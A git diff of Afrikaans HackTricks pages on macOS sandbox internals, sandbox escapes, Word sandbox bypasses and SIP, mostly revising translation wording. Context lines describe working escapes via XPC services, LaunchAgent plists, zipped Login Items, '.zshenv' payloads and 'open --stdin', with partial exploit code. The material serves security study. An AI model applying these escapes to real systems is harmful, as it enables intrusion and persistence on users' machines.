van `mac_set_proc` (#387) is. Dan kan sommige van die ondersteunde kodes deur `___sandbox_ms` in hierdie tabel gevind word: +Die funksie `___sandbox_ms` oproep verpak `mac_syscall` wat in die eerste argument `"Sandbox"` aandui, net soos `___sandbox_msp` 'n wrapper van `mac_set_proc` (#387) is. Dan kan sommige van die ondersteunde kodes deur `___sandbox_ms` in hierdie tabel gevind word: - **set_profile (#0)**: Pas 'n gecompileerde of benoemde profiel op 'n proses toe. - **platform_policy (#1)**: Handhaaf platform-spesifieke beleidskontroles (verskil tussen macOS en iOS). @@ -335,18 +314,18 @@ Die funksie `___sandbox_ms` oproep omhul `mac_syscall` wat in die eerste argumen - **set_container_path (#13)**: (iOS slegs) Stel 'n houer pad vir 'n app-groep of onderteken ID. - **container_map (#14)**: (iOS slegs) Verkry 'n houer pad van `containermanagerd`. - **sandbox_user_state_item_buffer_send (#15)**: (iOS 10+) Stel gebruikersmodus metadata in die sandbox. -- **inspect (#16)**: Verskaf foutopsporing-inligting oor 'n sandboxed proses. +- **inspect (#16)**: Verskaf foutopsporing inligting oor 'n sandboxed proses. - **dump (#18)**: (macOS 11) Dump die huidige profiel van 'n sandbox vir analise. - **vtrace (#19)**: Volg sandbox operasies vir monitering of foutopsporing. - **builtin_profile_deactivate (#20)**: (macOS < 11) Deaktiveer benoemde profiele (bv. `pe_i_can_has_debugger`). - **check_bulk (#21)**: Voer verskeie `sandbox_check` operasies in 'n enkele oproep uit. -- **reference_retain_by_audit_token (#28)**: Skep 'n verwysing vir 'n oudit-token vir gebruik in sandbox kontroles. -- **reference_release (#29)**: Vry 'n voorheen behoue oudit-token verwysing. +- **reference_retain_by_audit_token (#28)**: Skep 'n verwysing vir 'n oudit token vir gebruik in sandbox kontroles. +- **reference_release (#29)**: Vry 'n voorheen behoue oudit token verwysing. - **rootless_allows_task_for_pid (#30)**: Verifieer of `task_for_pid` toegelaat word (soortgelyk aan `csr` kontroles). -- **rootless_whitelist_push (#31)**: (macOS) Pas 'n Stelselintegriteitsbeskerming (SIP) manifestlêer toe. +- **rootless_whitelist_push (#31)**: (macOS) Pas 'n Stelselintegriteitbeskerming (SIP) manifestlêer toe. - **rootless_whitelist_check (preflight) (#32)**: Kontroleer die SIP manifestlêer voor uitvoering. -- **rootless_protected_volume (#33)**: (macOS) Pas SIP beskerming toe op 'n skyf of partisie. -- **rootless_mkdir_protected (#34)**: Pas SIP/DataVault beskerming toe op 'n gids skepproses. +- **rootless_protected_volume (#33)**: (macOS) Pas SIP beskermings toe op 'n skyf of partisie. +- **rootless_mkdir_protected (#34)**: Pas SIP/DataVault beskerming toe op 'n gids skep proses. ## Sandbox.kext @@ -354,25 +333,25 @@ Let daarop dat in iOS die kernuitbreiding **hardcoded al die profiele** binne di - **`hook_policy_init`**: Dit haak `mpo_policy_init` en dit word genoem na `mac_policy_register`. Dit voer die meeste van die inisialisasies van die Sandbox uit. Dit inisialiseer ook SIP. - **`hook_policy_initbsd`**: Dit stel die sysctl-koppelvlak op wat `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` en `security.mac.sandbox.debug_mode` registreer (as geboot met `PE_i_can_has_debugger`). -- **`hook_policy_syscall`**: Dit word deur `mac_syscall` aangeroep met "Sandbox" as eerste argument en kode wat die operasie in die tweede aandui. 'n Skakel word gebruik om die kode te vind om te loop volgens die aangevraagde kode. +- **`hook_policy_syscall`**: Dit word deur `mac_syscall` genoem met "Sandbox" as eerste argument en kode wat die operasie in die tweede aandui. 'n Skakel word gebruik om die kode te vind wat volgens die aangevraagde kode moet loop. ### MACF Hooks **`Sandbox.kext`** gebruik meer as 'n honderd haakies via MACF. Meeste van die haakies sal net sommige triviale gevalle nagaan wat die aksie toelaat, indien nie, sal hulle **`cred_sb_evalutate`** met die **akkrediteer** van MACF en 'n nommer wat ooreenstem met die **operasie** wat uitgevoer moet word en 'n **buffer** vir die uitvoer aanroep. -'n Goeie voorbeeld hiervan is die funksie **`_mpo_file_check_mmap`** wat **`mmap`** haak en wat sal begin nagaan of die nuwe geheue skryfbaar gaan wees (en as dit nie is nie, die uitvoering toelaat), dan sal dit nagaan of dit gebruik word vir die dyld gedeelde kas en as dit so is, die uitvoering toelaat, en uiteindelik sal dit **`sb_evaluate_internal`** (of een van sy omhulsels) aanroep om verdere toelaatbaarheid kontroles uit te voer. +'n Goeie voorbeeld hiervan is die funksie **`_mpo_file_check_mmap`** wat **`mmap`** haak en wat sal begin nagaan of die nuwe geheue skryfbaar gaan wees (en as dit nie is nie, die uitvoering toelaat), dan sal dit nagaan of dit vir die dyld gedeelde kas gebruik word en as dit so is, die uitvoering toelaat, en uiteindelik sal dit **`sb_evaluate_internal`** (of een van sy wrappers) aanroep om verdere toelaatbaarheid kontroles uit te voer. Boonop, uit die honderd(s) haakies wat Sandbox gebruik, is daar 3 in die besonder wat baie interessant is: - `mpo_proc_check_for`: Dit pas die profiel toe indien nodig en as dit nie voorheen toegepas is nie. -- `mpo_vnode_check_exec`: Aangeroep wanneer 'n proses die geassosieerde binêre laai, dan word 'n profielkontrole uitgevoer en ook 'n kontrole wat SUID/SGID uitvoerings verbied. -- `mpo_cred_label_update_execve`: Dit word aangeroep wanneer die etiket toegeken word. Dit is die langste een aangesien dit aangeroep word wanneer die binêre ten volle gelaai is, maar dit nog nie uitgevoer is nie. Dit sal aksies uitvoer soos om die sandbox objek te skep, die sandbox struktuur aan die kauth akkrediteer te koppel, toegang tot mach-poorte te verwyder... +- `mpo_vnode_check_exec`: Genoem wanneer 'n proses die geassosieerde binêre laai, dan word 'n profielkontrole uitgevoer en ook 'n kontrole wat SUID/SGID uitvoerings verbied. +- `mpo_cred_label_update_execve`: Dit word genoem wanneer die etiket toegeken word. Dit is die langste een aangesien dit genoem word wanneer die binêre ten volle gelaai is, maar dit nog nie uitgevoer is nie. Dit sal aksies uitvoer soos om die sandbox objek te skep, die sandbox struktuur aan die kauth akkrediteer te koppel, toegang tot mach poorte te verwyder... -Let daarop dat **`_cred_sb_evalutate`** 'n omhulsel oor **`sb_evaluate_internal`** is en hierdie funksie kry die akkrediteer wat oorgedra word en voer dan die evaluering uit met die **`eval`** funksie wat gewoonlik die **platform profiel** evalueer wat standaard op alle prosesse toegepas word en dan die **spesifieke proses profiel**. Let daarop dat die platform profiel een van die hoofkomponente van **SIP** in macOS is. +Let daarop dat **`_cred_sb_evalutate`** 'n wrapper oor **`sb_evaluate_internal`** is en hierdie funksie kry die akkrediteer wat oorgedra word en voer dan die evaluering uit met die **`eval`** funksie wat gewoonlik die **platform profiel** evalueer wat standaard op alle prosesse toegepas word en dan die **spesifieke proses profiel**. Let daarop dat die platform profiel een van die hoofkomponente van **SIP** in macOS is. ## Sandboxd -Sandbox het ook 'n gebruikersdemon wat die XPC Mach diens `com.apple.sandboxd` blootstel en die spesiale poort 14 (`HOST_SEATBELT_PORT`) bind wat die kernuitbreiding gebruik om met dit te kommunikeer. Dit stel 'n paar funksies bloot deur MIG. +Sandbox het ook 'n gebruikersdemon wat die XPC Mach diens `com.apple.sandboxd` blootstel en die spesiale poort 14 (`HOST_SEATBELT_PORT`) bind wat die kernuitbreiding gebruik om met dit te kommunikeer. Dit blootstel sommige funksies met MIG. ## References diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md index dfafe3c54..a6b32caeb 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -Op hierdie bladsy kan jy vind hoe om 'n toepassing te skep om arbitrêre opdragte vanuit die standaard macOS-sandbox te begin: +Op hierdie bladsy kan jy vind hoe om 'n toepassing te skep om arbitrêre opdragte vanuit die standaard macOS sandbox te begin: 1. Compileer die toepassing: ```objectivec:main.m @@ -94,7 +94,7 @@ EOF {{#endtab}} {{#endtabs}} -4. Teken die app (jy moet 'n sertifikaat in die sleutelsak skep) +4. Teken die app (jy moet 'n sertifikaat in die sleutelkettie skep) ```bash codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app ./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md index cc743eaa6..6588afaf7 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md @@ -17,18 +17,18 @@ Laastens sal die sandbox geaktiveer word met 'n oproep na **`__sandbox_ms`** wat ### Om die kwarantynattribuut te omseil -**Lêers wat deur sandboxed prosesse geskep is** word met die **kwarantynattribuut** aangeheg om sandbox ontsnapping te voorkom. As jy egter daarin slaag om **'n `.app`-map sonder die kwarantynattribuut** binne 'n sandboxed toepassing te skep, kan jy die app-bundel binêre laat wys na **`/bin/bash`** en 'n paar omgewingsveranderlikes in die **plist** voeg om **`open`** te misbruik om **die nuwe app sonder sandbox te begin**. +**Lêers wat deur sandboxed prosesse geskep word** word by die **kwarantynattribuut** gevoeg om sandbox ontsnapping te voorkom. As jy egter daarin slaag om **'n `.app`-map sonder die kwarantynattribuut** binne 'n sandboxed toepassing te skep, kan jy die app-bundel binêre laat wys na **`/bin/bash`** en 'n paar omgewingsveranderlikes in die **plist** voeg om **`open`** te misbruik om **die nuwe app sonder sandbox te begin**. Dit is wat gedoen is in [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.** > [!CAUTION] > Daarom, op die oomblik, as jy net in staat is om 'n map met 'n naam wat eindig op **`.app`** is sonder 'n kwarantynattribuut te skep, kan jy die sandbox ontsnap omdat macOS net die **kwarantyn** attribuut in die **`.app`-map** en in die **hoofd uitvoerbare** kontroleer (en ons sal die hoofd uitvoerbare na **`/bin/bash`** wys). > -> Let daarop dat as 'n .app-bundel reeds gemagtig is om te loop (dit het 'n kwarantyn xttr met die gemagtigde om te loop-vlag aan), kan jy dit ook misbruik... behalwe dat jy nou nie binne **`.app`**-bundels kan skryf nie tensy jy 'n paar bevoorregte TCC-perms het (wat jy nie binne 'n sandbox hoog sal hê nie). +> Let daarop dat as 'n .app-bundel reeds gemagtig is om te loop (dit het 'n kwarantyn xttr met die gemagtigde om te loop-vlag aan), kan jy dit ook misbruik... behalwe dat jy nou nie binne **`.app`**-bundels kan skryf nie tensy jy 'n paar bevoorregte TCC regte het (wat jy nie binne 'n sandbox hoog sal hê nie). -### Misbruik van Open-funksionaliteit +### Misbruik van Open funksionaliteit -In die [**laaste voorbeelde van Word sandbox omseiling**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) kan gesien word hoe die **`open`** cli-funksionaliteit misbruik kan word om die sandbox te omseil. +In die [**laaste voorbeelde van Word sandbox omseiling**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) kan gesien word hoe die **`open`** cli funksionaliteit misbruik kan word om die sandbox te omseil. {{#ref}} macos-office-sandbox-bypasses.md @@ -36,16 +36,16 @@ macos-office-sandbox-bypasses.md ### Begin Agents/Daemons -Selfs al is 'n toepassing **bedoel om sandboxed te wees** (`com.apple.security.app-sandbox`), is dit moontlik om die sandbox te omseil as dit **uitgevoer word vanaf 'n LaunchAgent** (`~/Library/LaunchAgents`) byvoorbeeld.\ -Soos verduidelik in [**hierdie pos**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), as jy volharding met 'n toepassing wat sandboxed is wil verkry, kan jy dit laat outomaties uitvoer as 'n LaunchAgent en dalk kwaadwillige kode via DyLib-omgewingsveranderlikes inspuit. +Selfs al is 'n toepassing **bedoel om sandboxed te wees** (`com.apple.security.app-sandbox`), is dit moontlik om die sandbox te omseil as dit **van 'n LaunchAgent** (`~/Library/LaunchAgents`) uitgevoer word byvoorbeeld.\ +Soos verduidelik in [**hierdie pos**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), as jy volharding met 'n toepassing wat sandboxed is wil verkry, kan jy dit laat outomaties as 'n LaunchAgent uitgevoer word en dalk kwaadwillige kode via DyLib omgewingsveranderlikes inspuit. -### Misbruik van Auto Start Plekke +### Misbruik van Auto Begin Plekke As 'n sandboxed proses kan **skryf** in 'n plek waar **later 'n onsandboxed toepassing die binêre gaan uitvoer**, sal dit in staat wees om te **ontsnap net deur** die binêre daar te plaas. 'n Goeie voorbeeld van hierdie soort plekke is `~/Library/LaunchAgents` of `/System/Library/LaunchDaemons`. Vir dit mag jy selfs **2 stappe** nodig hê: Om 'n proses met 'n **meer toelaatbare sandbox** (`file-read*`, `file-write*`) jou kode te laat uitvoer wat werklik in 'n plek sal skryf waar dit **onsandboxed uitgevoer sal word**. -Kyk na hierdie bladsy oor **Auto Start plekke**: +Kyk na hierdie bladsy oor **Auto Begin plekke**: {{#ref}} ../../../../macos-auto-start-locations.md @@ -92,11 +92,11 @@ checkService(serviceName.UTF8String); Hierdie Mach dienste is aanvanklik misbruik om [uit die sandbox te ontsnap in hierdie skrywe](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). Teen daardie tyd was **alle die XPC dienste wat deur** 'n toepassing en sy raamwerk vereis word, sigbaar in die app se PID-domein (dit is Mach Dienste met `ServiceType` as `Application`). -Om **met 'n PID Domein XPC diens te kommunikeer**, is dit net nodig om dit binne die app te registreer met 'n lyn soos: +Om **'n PID Domein XPC diens te kontak**, is dit net nodig om dit binne die app te registreer met 'n lyn soos: ```objectivec [[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load]; ``` -Boonop is dit moontlik om al die **Application** Mach dienste te vind deur in `System/Library/xpc/launchd.plist` te soek na `Application`. +Boonop is dit moontlik om al die **Application** Mach dienste te vind deur in `System/Library/xpc/launchd.plist` te soek vir `Application`. 'n Ander manier om geldige xpc dienste te vind, is om diegene in te kyk: ```bash @@ -107,7 +107,7 @@ Verskeie voorbeelde wat hierdie tegniek misbruik, kan gevind word in die [**oors #### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc -Hierdie diens laat elke XPC-verbinding toe deur altyd `YES` terug te gee en die metode `runTask:arguments:withReply:` voer 'n arbitrêre opdrag uit met arbitrêre parameters. +Hierdie diens laat elke XPC-verbinding toe deur altyd `YES` terug te gee en die metode `runTask:arguments:withReply:` voer 'n arbitrêre opdrag met arbitrêre parameters uit. Die ontploffing was "so eenvoudig soos": ```objectivec @@ -173,9 +173,9 @@ break; ``` #### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc -Hierdie XPC-diens stel in staat om lees- en skryftoegang aan 'n arbitrêre URL aan die XPC-kliënt te gee via die metode `extendAccessToURL:completion:` wat enige verbinding aanvaar. Aangesien die XPC-diens FDA het, is dit moontlik om hierdie toestemmings te misbruik om TCC heeltemal te omseil. +Hierdie XPC-diens stel in staat om lees- en skryfg toegang tot 'n arbitrêre URL aan die XPC-kliënt te gee via die metode `extendAccessToURL:completion:` wat enige verbinding aanvaar. Aangesien die XPC-diens FDA het, is dit moontlik om hierdie toestemmings te misbruik om TCC heeltemal te omseil. -Die ontploffing was: +Die uitbuiting was: ```objectivec @protocol WFFileAccessHelperProtocol - (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2; @@ -205,14 +205,14 @@ NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]); ``` ### Statiese Kompilering & Dinamiese Koppeling -[**Hierdie navorsing**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) het 2 maniere ontdek om die Sandbox te omseil. Omdat die sandbox toegepas word vanaf gebruikersvlak wanneer die **libSystem** biblioteek gelaai word. As 'n binêre dit kon vermy om dit te laai, sou dit nooit in die sandbox wees nie: +[**Hierdie navorsing**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) het 2 maniere ontdek om die Sandbox te omseil. Omdat die sandbox vanaf gebruikersvlak toegepas word wanneer die **libSystem** biblioteek gelaai word. As 'n binêre dit kon vermy om dit te laai, sou dit nooit in die sandbox geplaas word nie: - As die binêre **heeltemal staties gekompileer** was, kon dit vermy om daardie biblioteek te laai. - As die **binêre nie enige biblioteek hoef te laai nie** (omdat die linker ook in libSystem is), sal dit nie libSystem hoef te laai nie. ### Shellcodes -Let daarop dat **selfs shellcodes** in ARM64 gekoppel moet word in `libSystem.dylib`: +Let daarop dat **selfs shellcodes** in ARM64 in `libSystem.dylib` gekoppel moet word: ```bash ld -o shell shell.o -macosx_version_min 13.0 ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64 @@ -324,7 +324,7 @@ Sandbox Bypassed! ``` ### Foutopsporing & omseiling van Sandbox met lldb -Kom ons compileer 'n toepassing wat in 'n sandbox moet wees: +Kom ons kompileer 'n toepassing wat in 'n sandbox moet wees: {{#tabs}} {{#tab name="sand.c"}} @@ -361,7 +361,7 @@ system("cat ~/Desktop/del.txt"); {{#endtab}} {{#endtabs}} -Dan kompileer die app: +Dan kompileer die aansoek: ```bash # Compile it gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand @@ -372,14 +372,14 @@ gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.pli codesign -s --entitlements entitlements.xml sand ``` > [!CAUTION] -> Die aansoek sal probeer om die lêer **`~/Desktop/del.txt`** te **lees**, wat die **Sandbox nie sal toelaat**.\ -> Skep 'n lêer daar, aangesien die Sandbox oorgestap is, sal dit in staat wees om dit te lees: +> Die toepassing sal probeer om die lêer **`~/Desktop/del.txt`** te **lees**, wat die **Sandbox nie sal toelaat**.\ +> Skep 'n lêer daar, aangesien die Sandbox oorgesteek is, sal dit in staat wees om dit te lees: > > ```bash > echo "Sandbox Bypassed" > ~/Desktop/del.txt > ``` -Kom ons debugg die aansoek om te sien wanneer die Sandbox gelaai word: +Kom ons debugg die toepassing om te sien wanneer die Sandbox gelaai word: ```bash # Load app in debugging lldb ./sand diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md index 7b86ff706..e19e0685c 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md @@ -4,7 +4,7 @@ ### Word Sandbox omseiling via Launch Agents -Die toepassing gebruik 'n **aangepaste Sandbox** met die regte **`com.apple.security.temporary-exception.sbpl`** en hierdie aangepaste sandbox laat toe om lêers enige plek te skryf solank die lêernaam met `~$` begin: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` +Die toepassing gebruik 'n **aangepaste Sandbox** met die regte **`com.apple.security.temporary-exception.sbpl`** en hierdie aangepaste sandbox laat toe om lêers enige plek te skryf solank die lêernaam begin met `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` Daarom was dit so maklik soos **om 'n `plist`** LaunchAgent in `~/Library/LaunchAgents/~$escape.plist` te skryf. @@ -12,31 +12,31 @@ Kyk die [**oorspronklike verslag hier**](https://www.mdsec.co.uk/2018/08/escapin ### Word Sandbox omseiling via Login Items en zip -Onthou dat vanaf die eerste ontsnapping, Word willekeurige lêers kan skryf waarvan die naam met `~$` begin, alhoewel dit na die regstelling van die vorige kwesbaarheid nie moontlik was om in `/Library/Application Scripts` of in `/Library/LaunchAgents` te skryf nie. +Onthou dat vanaf die eerste ontsnapping, Word willekeurige lêers kan skryf waarvan die naam begin met `~$` alhoewel dit na die regstelling van die vorige kwesbaarheid nie moontlik was om in `/Library/Application Scripts` of in `/Library/LaunchAgents` te skryf nie. -Daar is ontdek dat dit vanuit die sandbox moontlik is om 'n **Login Item** (toepassings wat uitgevoer sal word wanneer die gebruiker aanmeld) te skep. Hierdie toepassings **sal egter nie uitgevoer word nie** tensy hulle **notarized** is en dit is **nie moontlik om args toe te voeg nie** (so jy kan nie net 'n omgekeerde shell met **`bash`** uitvoer nie). +Daar is ontdek dat dit binne die sandbox moontlik is om 'n **Login Item** (toepassings wat uitgevoer sal word wanneer die gebruiker aanmeld) te skep. egter, hierdie toepassings **sal nie uitvoer nie** tensy hulle **notarized** is en dit is **nie moontlik om args toe te voeg nie** (so jy kan nie net 'n omgekeerde skulp met **`bash`** uitvoer nie). -Van die vorige Sandbox omseiling het Microsoft die opsie om lêers in `~/Library/LaunchAgents` te skryf, gedeaktiveer. Dit is egter ontdek dat as jy 'n **zip-lêer as 'n Login Item** plaas, die `Archive Utility` dit net **ontzip** op sy huidige ligging. So, omdat die gids `LaunchAgents` van `~/Library` nie standaard geskep word nie, was dit moontlik om 'n **plist in `LaunchAgents/~$escape.plist`** te **zip** en die zip-lêer in **`~/Library`** te **plaas** sodat wanneer dit ontzip word, dit die volhardingsbestemming sal bereik. +Van die vorige Sandbox omseiling, het Microsoft die opsie om lêers in `~/Library/LaunchAgents` te skryf gedeaktiveer. egter, daar is ontdek dat as jy 'n **zip-lêer as 'n Login Item** plaas, die `Archive Utility` dit net **uitpak** op sy huidige ligging. So, omdat die gids `LaunchAgents` van `~/Library` nie standaard geskep word nie, was dit moontlik om **'n plist in `LaunchAgents/~$escape.plist`** te **zip** en die zip-lêer in **`~/Library`** te **plaas** sodat wanneer dit ontpak word, dit die volhardingsbestemming sal bereik. Kyk die [**oorspronklike verslag hier**](https://objective-see.org/blog/blog_0x4B.html). ### Word Sandbox omseiling via Login Items en .zshenv -(Onthou dat vanaf die eerste ontsnapping, Word willekeurige lêers kan skryf waarvan die naam met `~$` begin). +(Onthou dat vanaf die eerste ontsnapping, Word willekeurige lêers kan skryf waarvan die naam begin met `~$`). -Die vorige tegniek het egter 'n beperking gehad; as die gids **`~/Library/LaunchAgents`** bestaan omdat 'n ander sagteware dit geskep het, sou dit misluk. 'n Ander Login Items-ketting is vir hierdie ontdek. +Echter, die vorige tegniek het 'n beperking gehad, as die gids **`~/Library/LaunchAgents`** bestaan omdat 'n ander sagteware dit geskep het, sou dit misluk. So 'n ander Login Items ketting is vir hierdie ontdek. -'n Aanvaller kan die lêers **`.bash_profile`** en **`.zshenv`** met die payload om uit te voer skep en dit dan zip en **die zip in die slagoffer** se gebruikersgids skryf: **`~/~$escape.zip`**. +'n Aanvaller kan die lêers **`.bash_profile`** en **`.zshenv`** met die payload om uit te voer skep en dan dit zip en **die zip in die slagoffer** se gebruikersgids skryf: **`~/~$escape.zip`**. -Voeg dan die zip-lêer by die **Login Items** en dan die **`Terminal`** toepassing. Wanneer die gebruiker weer aanmeld, sal die zip-lêer in die gebruikerslêer ontplof, wat **`.bash_profile`** en **`.zshenv`** oorskryf en gevolglik sal die terminal een van hierdie lêers uitvoer (afhangende of bash of zsh gebruik word). +Voeg dan die zip-lêer by die **Login Items** en dan die **`Terminal`** toepassing. Wanneer die gebruiker weer aanmeld, sal die zip-lêer in die gebruikerslêer ontpak word, wat **`.bash_profile`** en **`.zshenv`** oorskryf en gevolglik sal die terminal een van hierdie lêers uitvoer (afhangende of bash of zsh gebruik word). Kyk die [**oorspronklike verslag hier**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c). -### Word Sandbox Omseiling met Open en omgewingsveranderlikes +### Word Sandbox Omseiling met Open en omgewingsvariabeles Van sandboxed prosesse is dit steeds moontlik om ander prosesse aan te roep met die **`open`** nut. Boonop sal hierdie prosesse **binne hul eie sandbox** loop. -Daar is ontdek dat die open nut die **`--env`** opsie het om 'n toepassing met **spesifieke omgewings** veranderlikes te laat loop. Daarom was dit moontlik om die **`.zshenv` lêer** binne 'n gids **binne** die **sandbox** te skep en die gebruik van `open` met `--env` om die **`HOME` veranderlike** na daardie gids in te stel wat die `Terminal` toepassing sal oopmaak, wat die `.zshenv` lêer sal uitvoer (om 'n of ander rede was dit ook nodig om die veranderlike `__OSINSTALL_ENVIROMENT` in te stel). +Daar is ontdek dat die open nut die **`--env`** opsie het om 'n toepassing met **spesifieke omgewings** variabeles te laat loop. Daarom was dit moontlik om die **`.zshenv` lêer** binne 'n gids **binne** die **sandbox** te skep en die gebruik van `open` met `--env` om die **`HOME` variabele** na daardie gids in te stel wat die `Terminal` toepassing sal oopmaak, wat die `.zshenv` lêer sal uitvoer (om 'n of ander rede was dit ook nodig om die variabele `__OSINSTALL_ENVIROMENT` in te stel). Kyk die [**oorspronklike verslag hier**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/). @@ -44,9 +44,9 @@ Kyk die [**oorspronklike verslag hier**](https://perception-point.io/blog/techni Die **`open`** nut het ook die **`--stdin`** param ondersteun (en na die vorige omseiling was dit nie meer moontlik om `--env` te gebruik nie). -Die ding is dat selfs al is **`python`** deur Apple gesertifiseer, dit **sal nie** 'n skrip met die **`quarantine`** attribuut uitvoer nie. Dit was egter moontlik om 'n skrip van stdin aan te bied sodat dit nie sal nagaan of dit gekwarantyn is of nie: +Die ding is dat selfs al is **`python`** deur Apple gesertifiseer, dit **sal nie** 'n skrip met die **`quarantine`** attribuut uitvoer nie. egter, dit was moontlik om 'n skrip van stdin aan te bied sodat dit nie sal nagaan of dit gekwarantyn is of nie: 1. Laat 'n **`~$exploit.py`** lêer met willekeurige Python-opdragte val. -2. Voer _open_ **`–stdin='~$exploit.py' -a Python`** uit, wat die Python-toepassing met ons gevalle lêer as sy standaard invoer laat loop. Python voer ons kode met vreugde uit, en aangesien dit 'n kind proses van _launchd_ is, is dit nie gebonde aan Word se sandbox reëls nie. +2. Voer _open_ **`–stdin='~$exploit.py' -a Python`** uit, wat die Python-toepassing met ons gelaaide lêer as sy standaard invoer laat loop. Python loop gelukkig ons kode, en aangesien dit 'n kind proses van _launchd_ is, is dit nie gebonde aan Word se sandbox reëls nie. {{#include ../../../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md index 54d6f1381..750c53b61 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md @@ -4,7 +4,7 @@ ## **Basiese Inligting** -**Sistem Integriteit Beskerming (SIP)** in macOS is 'n mekanisme wat ontwerp is om selfs die mees bevoorregte gebruikers te verhoed om ongeoorloofde veranderinge aan sleutel stelselfolders te maak. Hierdie funksie speel 'n belangrike rol in die handhawing van die integriteit van die stelsel deur aksies soos die toevoeging, wysiging of verwydering van lêers in beskermde areas te beperk. Die primêre folders wat deur SIP beskerm word, sluit in: +**Sistem Integriteit Beskerming (SIP)** in macOS is 'n mekanisme wat ontwerp is om selfs die mees bevoorregte gebruikers te verhoed om ongeoorloofde veranderinge aan sleutel stelselfolders te maak. Hierdie kenmerk speel 'n belangrike rol in die handhawing van die integriteit van die stelsel deur aksies soos die toevoeging, wysiging of verwydering van lêers in beskermde areas te beperk. Die primêre folders wat deur SIP beskerm word, sluit in: - **/System** - **/bin** @@ -13,16 +13,16 @@ Die reëls wat SIP se gedrag regeer, is gedefinieer in die konfigurasie-lêer geleë by **`/System/Library/Sandbox/rootless.conf`**. Binne hierdie lêer word paden wat met 'n asterisk (\*) voorafgegaan word, as uitsonderings op die andersins streng SIP-beperkings aangedui. -Neem die voorbeeld hieronder in ag: +Neem die voorbeeld hieronder: ```javascript /usr * /usr/libexec/cups * /usr/local * /usr/share/man ``` -Hierdie snit impliseer dat terwyl SIP oor die algemeen die **`/usr`** gids beveilig, daar spesifieke subgidses (`/usr/libexec/cups`, `/usr/local`, en `/usr/share/man`) is waar wysigings toegelaat word, soos aangedui deur die asterisk (\*) wat hul paaie voorafgaan. +Hierdie snit impliseer dat terwyl SIP oor die algemeen die **`/usr`** gids beveilig, daar spesifieke subgidsen (`/usr/libexec/cups`, `/usr/local`, en `/usr/share/man`) is waar wysigings toegelaat word, soos aangedui deur die asterisk (\*) wat hul paaie voorafgaan. -Om te verifieer of 'n gids of lêer deur SIP beskerm word, kan jy die **`ls -lOd`** opdrag gebruik om die teenwoordigheid van die **`restricted`** of **`sunlnk`** vlag te kontroleer. Byvoorbeeld: +Om te verifieer of 'n gids of lêer deur SIP beskerm word, kan jy die **`ls -lOd`** opdrag gebruik om te kyk vir die teenwoordigheid van die **`restricted`** of **`sunlnk`** vlag. Byvoorbeeld: ```bash ls -lOd /usr/libexec/cups drwxr-xr-x 11 root wheel sunlnk 352 May 13 00:29 /usr/libexec/cups @@ -48,7 +48,7 @@ Boonop, as 'n 